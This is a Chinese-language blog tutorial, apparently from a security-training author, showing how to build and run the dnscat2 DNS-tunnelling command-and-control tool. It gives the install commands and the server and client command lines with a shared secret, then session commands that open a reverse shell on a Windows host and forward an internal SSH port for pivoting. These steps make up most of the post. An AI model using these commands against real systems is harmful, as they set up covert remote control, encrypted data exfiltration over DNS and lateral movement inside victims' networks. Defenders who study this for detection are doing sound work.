最近我好久沒寫文章了,手癢了,於是乎我就寫寫文章!
廢話不多說,就開始了!!
測試環境
ubuntu 14.04 root用戶
windows7 x64 user用戶
0x01環境準備
apt-get update
apt-get -y install ruby-dev git make g++
gem install bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
#修改Gemfile source 'https://ruby.taobao.org/'
bundle install
或者通過docker安裝
apt-get install docker.io
service docker status
service docker start
cd ~/dnscat2/server
#修改Gemfile source 'https://ruby.taobao.org/'
docker build .
安裝完成之後,可能在docker images 看到這個鏡像沒有名字,我們修改一下 docker tag IMAGEID mpercival/dnscat2
0x02利用過程
server端
cd dnscat2/server
ruby ./dnscat2.rb
#docker用戶 docker run -p 53:53/udp -it --rm mpercival/dnscat2 ruby ./dnscat2.rb
可以通過兩種方式設置C&C地址,如果沒有域名的話,直接在外網VPS運行ruby ./dnscat2.rb 有域名的童鞋,先設置好NS服務器將NS記錄修改為當前的機器。然後通過ruby ./dnscat2.rb yourdomain 我這裡使用的IP地址
client端
將dnscat2文件夾下面的client編譯好成exe,然後上傳到client端
dnscat2.exe --dns=server=server端ip --secret=c2c6d04cab68ee2947d80316858da0f8
由於在新版本的dnscat2是加密的所以我們在客戶端執行的時候要加上秘鑰,不然無法正確的建立連接
獲取shell
session -i 1 #切換到session 1
help #通過help可以看到支持的命令
shell #執行之後會新生成一個session 需要通過session -i 2 切過去
這樣就成功獲取了一個shell,我們可以通過數據包看一下
數據都是通過DNS發出去的,並且是加密過的,因為在最初的dnscat2的版本中,數據只是簡單的hex編碼。到最新版的默認就已經加密
通過Salsa20加密算法進行了加密,如果不知道秘鑰,就幾乎不能解密數據包了。除了普通的反彈shell和上傳下載文件功能,還有一個比較有用的功能
可以通過dnscat2實現DNS隧道,然後進行內網滲透。在成功獲取一個session之後執行
session -i id
listen 4444 10.211.55.19:22 #將內網10.211.55.19的22端口轉發到本地的4444
然後直接ssh本地的ip的4444端口
注意的是我用的docker環境,所以是直接ssh的docker的ip
上述內容不知道大家學習到了嗎?網絡世界的安全漏洞每天都會出現,安全知識和安全意識每個公民都應該瞭解和學習,有想學習網絡安全技能的小夥伴可以隨時私信我哦!
閱讀更多 安界 的文章